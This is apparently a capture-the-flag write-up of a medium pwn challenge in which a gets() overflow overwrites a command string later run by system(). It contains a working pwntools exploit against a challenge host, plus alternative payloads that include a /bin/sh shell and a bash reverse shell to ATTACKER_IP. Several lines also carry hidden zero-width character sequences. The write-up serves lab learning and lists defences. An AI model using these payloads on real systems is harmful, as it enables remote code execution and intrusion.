Stonks

Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-03 | Status: Solved Techniques: NA

Summary

Task: Trading terminal with buffer overflow vulnerability in global .data section. Solution: Overflow ticker buffer to overwrite adjacent user_cmd variable, then trigger system() call to execute arbitrary commands.

Stonks - hackerlab

Description

Вы — трейдер на тёмной стороне MOEX. В терминале торговли обнаружена уязвимость переполнения буфера. Воспользуйтесь ею, чтобы получить доступ к главному серверу и флагу!

Analysis

Binary Information

ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped

Dangerous Functions

The binary contains dangerous functions:

• gets - reads input without length check
• system - executes system commands

Key Symbols

Vulnerability

Buffer Overflow in global .data section:

1. Function analyze_market() calls gets(ticker) without length check
2. Function show_gazp() calls system(user_cmd)
3. Distance between buffers: 0x4040a0 - 0x404080 = 0x20 = 32 bytes

.data section layout:
+------------------+
| ticker (16 bytes)|  0x404080
+------------------+
| padding (16 bytes)|
+------------------+
| user_cmd (256 b) |  0x4040a0  <-- system() reads from here
+------------------+

Attack Vector

1. Select option 1 (Analyze market)
2. Send payload: 32 bytes padding + shell command
3. Select option 2 (Show GAZP) - triggers system(user_cmd) with our command ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Exploit

 python read-only • copy allowed Copy
#!/usr/bin/env python3
from pwn import *

HOST = "62.173.140.174"
PORT = 27950

r = remote(HOST, PORT)
r.recvuntil(b"Exit")

# Option 1 - Analyze market
r.sendline(b"1")
r.recvuntil(b"ticker:")

# Overflow: 32 bytes padding + command
payload = b"A" * 32 + b"cat flag*"
r.sendline(payload)

r.recvuntil(b"Exit")

# Option 2 - triggers system(user_cmd)
r.sendline(b"2")

r.recvuntil(b"Downloading")
print(r.recvall(timeout=5).decode())

Alternative Commands

 python read-only • copy allowed Copy
# Get shell
payload = b"A" * 32 + b"/bin/sh"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Read specific file
payload = b"A" * 32 + b"cat /home/ctf/flag.txt"

# Reverse shell
payload = b"A" * 32 + b"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

Techniques

Defense

How to protect against this vulnerability:

1. Use fgets() instead of gets()
2. Don't store commands for system() in global variables
3. Validate user input
4. Use ASLR and PIE
5. Apply stack canaries (though here overflow is in .data) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References

• CWE-120: Buffer Copy without Checking Size of Input
• gets() man page warning ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍